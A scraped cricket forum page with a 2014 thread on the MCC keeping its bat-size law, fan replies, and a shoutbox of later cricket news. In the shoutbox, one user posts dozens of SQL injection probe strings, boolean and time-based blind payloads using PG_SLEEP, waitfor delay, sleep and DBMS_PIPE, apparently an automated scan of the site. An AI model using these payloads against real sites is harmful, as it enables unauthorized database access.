>

MCC decides against bat law change

More
17 Jul 2014 10:09 #201853 by chairman
The MCC World Cricket Committee has decided not to change the Law regarding the size of the bats used in cricket.

The decision was made after the committee commissioned a study to see if the size of modern cricket bats had tipped the balance between bat and ball far enough in the batsman's favour to merit a change in the law.

The study, done by Imperial College London, found that modern bats have bigger sweet spots and much larger edges than the bats used in the study from 1905 and 1980. The study also found that the ball travelled further when hit closer to to the edge of a modern bat.

According to a Cricinfo report, the MCC committee studied and debated the findings of the study but could not come to a consensus and decided to retain the Law that limits bat sizes. The Law says that bats are limited to a length of 38 inches (96.5cm) and the width to 4.25 inches (10.7 cm).

The committee noted that boundaries should be pushed out as far as safety allows, to prevent batsmen from gaining more of an advantage.

Always tell someone how you feel because opportunities are lost in the blink of an eye but regret can last a lifetime.
cricketwindies.com/forum/

Please Log in or Create an account to join the conversation.

  • timmyj51
  • Visitor
  • Visitor
17 Jul 2014 11:13 #201891 by timmyj51
MCC old farts once again trying to take the fun out of the game.  Fans want to see big hitting
but MCC old farts don't like it.  If they think the game's shifted in favor of batters then chuck the
idiotic "played on" rule.  In fact, change the entire LBW rule and simply say if the umpire thinks
the ball would have hit the wicket IN ANY WAY (even if played on, outside the line of the leg stump, etc, the batter's out.  Batter should be out because he fails to hit the ball, not because his bat's
too big.    ::confused::

Please Log in or Create an account to join the conversation.

More
17 Jul 2014 11:21 #201894 by ketchim

Nah too Big .....too Thick !

in odda words a bowler taking an edge : the edge as thick as de FACE of the bat

hence NO catch flying to slips.

Get a Stanley plane and shave it ass down...Equip de Umpire ;)

                             

                       

Please Log in or Create an account to join the conversation.

More
17 Jul 2014 11:27 #201895 by ketchim
                               

Please Log in or Create an account to join the conversation.

More
17 Jul 2014 11:34 #201897 by ketchim
                                     

Please Log in or Create an account to join the conversation.

More
17 Jul 2014 11:36 #201898 by ketchim
This Bat look Pregnant  ...so UNFAIR to the Bowler !  :-[

                               

Please Log in or Create an account to join the conversation.

  • timmyj51
  • Visitor
  • Visitor
17 Jul 2014 19:22 #202058 by timmyj51
"Muhn!  No quik singles wid DAT bat! ::LOL::

Please Log in or Create an account to join the conversation.

Time to create page: 0.164 seconds
MaleahBREAKING: The government of Pakistan has said that Pakistan will boycott their T20 World Cup match against India(01.02.2026, 11:02)(11:02)0
ketchimGot Florida Hass theodday from my buddy visiting here !(22.01.2026, 19:37)(19:37)0
ketchimICC tell Bangladseh they will be REPLACED !(22.01.2026, 19:17)(19:17)0
MaleahGuyanese people in Florida can't just go and catch a dozen or two dozen HASSA; they have to catch over 5 million.
This is called Greed
(07.01.2026, 13:14)(13:14)1
MaleahNow that Joe Root has 2 centuries in Australia, I assume those Australian fans, who said he couldn’t be classed as great unless he achieved that, will now say he is?? Given that the great Steve Smith has never scored a test ton in Pakistan….(05.01.2026, 12:31)(12:31)0
MaleahThe Bangladesh Cricket Board has formally asked the ICC to move all of Bangladesh’s matches out of India, citing safety and security concerns.

#T20WorldCup
(04.01.2026, 14:18)(14:18)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891 from DUAL)(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891)(03.01.2026, 13:42)(13:42)0
Gwen@@iBQ3X(03.01.2026, 13:42)(13:42)0
Gwen20'"(03.01.2026, 13:42)(13:42)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'(03.01.2026, 13:42)(13:42)0
Johan20(03.01.2026, 13:42)(13:42)0
Gwen20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)(03.01.2026, 13:41)(13:41)0
Gwen20F4owsBb6')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--(03.01.2026, 13:41)(13:41)0
Gwen20axQfaI3h') OR 505=(SELECT 505 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20GCVWFMgw' OR 960=(SELECT 960 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1 OR 604=(SELECT 604 FROM PG_SLEEP(15))--(03.01.2026, 13:38)(13:38)0
Gwen20ZWzru47i'; waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1 waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1); waitfor delay '0:0:15' --(03.01.2026, 13:37)(13:37)0
Gwen20-1; waitfor delay '0:0:15' --(03.01.2026, 13:36)(13:36)0
Gwen(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/(03.01.2026, 13:36)(13:36)0
Gwen200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z(03.01.2026, 13:36)(13:36)0
Gwen200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z(03.01.2026, 13:35)(13:35)0
Gwen20*if(now()=sysdate(),sleep(15),0)(03.01.2026, 13:35)(13:35)0
Gwen-1" OR 18=18 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2<5 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=26 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 641=641 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 3*2<5 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=25 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 13:34)(13:34)0
Gwen204tYynwAI(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 12:02)(12:02)0
Ashlyn
Go to top